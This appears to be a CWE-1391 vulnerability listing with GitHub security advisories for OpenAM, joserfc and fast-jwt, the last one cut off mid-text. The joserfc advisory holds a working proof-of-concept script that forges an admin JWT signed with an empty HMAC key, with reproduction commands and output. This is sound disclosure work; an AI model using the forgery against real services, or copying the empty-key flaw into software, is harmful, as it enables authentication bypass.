Common Weakness Enumeration

CWE-1391

Allowed-with-Review

Use of Weak Credentials

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product uses weak credentials (such as a default key or hard-coded password) that can be calculated, derived, reused, or guessed by an attacker.

98 vulnerabilities reference this CWE, most recent first.

GHSA-GF57-4MP6-M85X

Vulnerability from github – Published: 2026-06-26 17:33 – Updated: 2026-06-26 17:33
VLAI
Summary
OpenAM Account Takeover via Unverified Password Change in OAuth2 Module
Details

Summary

Description

An Unverified Password Change (CWE-620) and Use of Weak Credentials (CWE-1391) issue in OpenAM's OAuth2 authentication module silently rewrites a local user's password to the literal string of their username on OAuth2 re-login of an existing account. The default ldapService chain then accepts the username as the password for that user, allowing an unauthenticated attacker to obtain a session via the standard authenticate endpoint with both username and password set to the username, without any IdP interaction. This affects OpenAM Community Edition through version 16.0.6 and was patched in version 16.1.1.

Impact

OpenAM Community Edition deployments through version 16.0.6 that use the OAuth2 authentication module with account creation enabled (the default) are potentially affected. After two OAuth logins of a given user, that user's local password becomes their username, and the account is reachable through the default ldapService chain with username as both identifier and password. For pre-existing users whose IdP profile resolves against an existing local identifier, the rewrite fires on the very first re-login.

Usernames shorter than the default minimum password length have the rewrite silently denied (so very short administrative accounts are not affected), and the same update path marks accounts active on every OAuth login, silently reactivating disabled accounts.

Successful exploitation grants an unauthenticated attacker a session carrying the victim principal's privileges.

Patch

This has been patched in OpenAM Community Edition version 16.1.1. Users are encouraged to update to the latest release.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openidentityplatform.openam:openam-auth-oauth2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "16.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-620"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T17:33:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n**Description**\n\nAn Unverified Password Change (CWE-620) and Use of Weak Credentials (CWE-1391) issue in OpenAM\u0027s OAuth2 authentication module silently rewrites a local user\u0027s password to the literal string of their username on OAuth2 re-login of an existing account. The default ldapService chain then accepts the username as the password for that user, allowing an unauthenticated attacker to obtain a session via the standard authenticate endpoint with both username and password set to the username, without any IdP interaction. This affects OpenAM Community Edition through version 16.0.6 and was patched in version 16.1.1.\n\n## Impact\nOpenAM Community Edition deployments through version 16.0.6 that use the OAuth2 authentication module with account creation enabled (the default) are potentially affected. After two OAuth logins of a given user, that user\u0027s local password becomes their username, and the account is reachable through the default ldapService chain with username as both identifier and password. For pre-existing users whose IdP profile resolves against an existing local identifier, the rewrite fires on the very first re-login.\n\nUsernames shorter than the default minimum password length have the rewrite silently denied (so very short administrative accounts are not affected), and the same update path marks accounts active on every OAuth login, silently reactivating disabled accounts. \n\nSuccessful exploitation grants an unauthenticated attacker a session carrying the victim principal\u0027s privileges.\n\n## Patch\nThis has been patched in OpenAM Community Edition version 16.1.1. Users are encouraged to update to the latest release.",
  "id": "GHSA-gf57-4mp6-m85x",
  "modified": "2026-06-26T17:33:35Z",
  "published": "2026-06-26T17:33:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-gf57-4mp6-m85x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenIdentityPlatform/OpenAM"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenAM Account Takeover via Unverified Password Change in OAuth2 Module"
}

GHSA-GG9X-QCX2-XMRH

Vulnerability from github – Published: 2026-07-02 19:12 – Updated: 2026-07-02 19:12
VLAI
Summary
joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)
Details

Summary

joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None. HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key only emits a SecurityWarning when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns "", or a Hash.new("")-style default verifies attacker tokens forged with HMAC(key=b"", signing_input) because the attacker trivially reproduces the same digest with no secret knowledge.

This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated authlib.jose module by the same maintainer; filing this advisory against joserfc alongside a separate authlib advisory because the codebases are independent shipping artifacts on PyPI.)

Affected versions

joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No patched release.

Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to "" or None. Common patterns that produce this state in production:

  • OctKey.import_key(os.environ.get("JWT_SECRET", ""))
  • A key finder callable that returns "" / None for an unknown kid
  • Default values like os.getenv("SECRET") or "", cfg.get("secret", "")
  • Database / Redis row lookup that returns "" for a missing row

Vulnerable code

src/joserfc/_rfc7518/jws_algs.py:43-70:

class HMACAlgorithm(JWSAlgModel):
    SHA256 = hashlib.sha256
    SHA384 = hashlib.sha384
    SHA512 = hashlib.sha512

    def __init__(self, sha_type, recommended=False):
        self.name = f"HS{sha_type}"
        self.description = f"HMAC using SHA-{sha_type}"
        self.recommended = recommended
        self.hash_alg = getattr(self, f"SHA{sha_type}")
        self.algorithm_security = sha_type

    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

src/joserfc/_rfc7518/oct_key.py:52-63:

@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if len(key.raw_value) < 14:
        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

The < 14 check only warns; len(key.raw_value) == 0 falls through and is returned to the caller. HMACAlgorithm.verify then calls hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()), and Python's hmac.new(b"", ...) accepts the empty key.

Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:

def ensure_valid_key!(key)
  raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
  raise_verify_error!('HMAC key cannot be empty') if key.empty?
end

invoked from both sign(signing_key:) and verify(verification_key:). PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0). firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a 256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the strongest existing length-warning logic but stops at < 14 bytes warn rather than == 0 reject.

How an empty JWT_SECRET reaches hmac.new

  1. The application calls joserfc.jwt.decode(value, key, algorithms=["HS256"]) where key = OctKey.import_key("") (or OctKey.import_key(b""), or any custom path that yields an OctKey whose raw_value is b"").
  2. decode (src/joserfc/jwt.py:86-117) calls _decode_jws(...) → deserialize_compact(value, key, algorithms, registry).
  3. deserialize_compact (src/joserfc/jws.py) dispatches to HMACAlgorithm.verify(signing_input, signature, key).
  4. verify calls key.get_op_key("verify") → returns b"".
  5. hmac.new(b"", signing_input, sha256).digest() is computed; the attacker computed exactly that digest with the same empty key, so hmac.compare_digest returns True and decode succeeds.

No upstream nil-check, no length check, no schema rejection. The path is reached from the public joserfc.jwt.decode API.

Proof of concept

Attacker (no secret knowledge):

import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
    "sub": "attacker", "admin": True,
    "iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())

Server harness:

# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server

def app(environ, start_response):
    auth = environ.get("HTTP_AUTHORIZATION", "")
    token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
    key = OctKey.import_key(os.environ.get("JWT_SECRET", ""))  # default = ""
    try:
        tok = jwt.decode(token, key, algorithms=["HS256"])
        c = tok.claims
        body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [body]
    except Exception as e:
        start_response("401 Unauthorized", [("Content-Type", "text/plain")])
        return [("DENY: %s\n" % e).encode()]

make_server("127.0.0.1", 8383, app).serve_forever()

End-to-end reproduction (against pip install joserfc==1.6.7)

# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
#    state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py &   # listens on :8383

# 2. Run the attacker
./venv/bin/python attacker.py

Captured run output (canonical pre-fix run, joserfc 1.6.7, poc-attacker-empty-20260523-150949.log):

forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True

Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):

forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:

Interpretation:

Configuration Observed Expected
JWT_SECRET unset (== "") HTTP 200, admin=True (verified) HTTP 401
JWT_SECRET = 256-bit value HTTP 401, BadSignatureError HTTP 401

The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.

Fix verification: with the suggested empty-key reject wired into HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects the same forged token with ValueError: HMAC key must not be empty.

Impact

  • Complete authentication bypass on any service whose key finder resolves to "" / None (env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub, admin, scopes, audience, expiry).
  • The misconfiguration that triggers the bug is silent: the server does not fail to boot, joserfc emits a single SecurityWarning ("Key size should be >= 112 bits") at OctKey.import_key time and then proceeds.
  • Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.

Suggested fix

Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard reject at len(key.raw_value) == 0, plus a defence-in-depth check in HMACAlgorithm.sign and HMACAlgorithm.verify after key.get_op_key(...):

# src/joserfc/_rfc7518/oct_key.py
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if not key.raw_value:
        raise ValueError("oct key material must not be empty")
    if len(key.raw_value) < 14:
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

# src/joserfc/_rfc7518/jws_algs.py
class HMACAlgorithm(JWSAlgModel):
    ...
    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        if not op_key:
            raise ValueError("HMAC key must not be empty")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        if not op_key:
            raise ValueError("HMAC key must not be empty")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in prepare_key, plus the runtime length checks the underlying hmac primitive does not perform).

Fix PR

authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch fix/hmac-reject-empty-key, base main. URL: https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

Credit

Reported by tonghuaroot.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "joserfc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-326",
      "CWE-1391"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:12:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `\u003c= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n    SHA256 = hashlib.sha256\n    SHA384 = hashlib.sha384\n    SHA512 = hashlib.sha512\n\n    def __init__(self, sha_type, recommended=False):\n        self.name = f\"HS{sha_type}\"\n        self.description = f\"HMAC using SHA-{sha_type}\"\n        self.recommended = recommended\n        self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n        self.algorithm_security = sha_type\n\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if len(key.raw_value) \u003c 14:\n        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n```\n\nThe `\u003c 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python\u0027s `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt\u0027s fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n  raise_verify_error!(\u0027HMAC key expected to be a String\u0027) unless key.is_a?(String)\n  raise_verify_error!(\u0027HMAC key cannot be empty\u0027) if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `\u003c 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n   where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n   or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` \u2192\n   `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n   `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` \u2192 returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n   attacker computed exactly that digest with the same empty key, so\n   `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n    \"sub\": \"attacker\", \"admin\": True,\n    \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n    auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n    token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n    key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))  # default = \"\"\n    try:\n        tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n        c = tok.claims\n        body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n        start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n        return [body]\n    except Exception as e:\n        start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n        return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n#    state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py \u0026   # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub=\u0027attacker\u0027 admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration                | Observed                            | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\")   | HTTP 200, `admin=True` (verified)   | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError`       | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker\u0027s token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n  to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n  forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n  not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n  should be \u003e= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N \u2014 AC:H because of the\n  operator-misconfiguration precondition; impact otherwise matches\n  authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `\u003c 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if not key.raw_value:\n        raise ValueError(\"oct key material must not be empty\")\n    if len(key.raw_value) \u003c 14:\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n    ...\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0\u0027s approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-gg9x-qcx2-xmrh",
  "modified": "2026-07-02T19:12:08Z",
  "published": "2026-07-02T19:12:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/joserfc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)"
}

GHSA-GMVF-9V4P-V8JC

Vulnerability from github – Published: 2026-05-06 22:26 – Updated: 2026-05-14 20:42
VLAI
Summary
fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver
Details

Summary

A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release fast-jwt@6.2.3.

Preconditions

For this issue to occur the following MUST ALL be true:

  1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. createVerifier({key: async (decoded) => ... }))
  2. The response from the async callback MUST return an empty string '' OR zero-length buffer (e.g. Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue
  3. The library configuration must allow HMAC signatures. This is the default for the library.
  4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
  5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.

Details

src/verifier.js prepareKeyOrSecret (lines 33-39):

function prepareKeyOrSecret(key, isSecret) {
  if (typeof key === 'string') {
    key = Buffer.from(key, 'utf-8')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)   // ← no length check
}

src/verifier.js async key-resolver flow (lines 429-468):

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')   // '' → Buffer.alloc(0)
  } else if (!(currentKey instanceof Buffer)) {
    return callback(... 'string or buffer'...)
  }

  try {
    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
    // detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`
    // branch → returns hsAlgorithms = ['HS256','HS384','HS512']

    if (validationContext.allowedAlgorithms.length) {
      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
    } else {
      validationContext.allowedAlgorithms = availableAlgorithms   // default empty → HMAC family assigned
    }

    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
    // → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently
    verifyToken(currentKey, decoded, validationContext)
  }
})

src/crypto.js verifySignature (lines 286-291):

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.

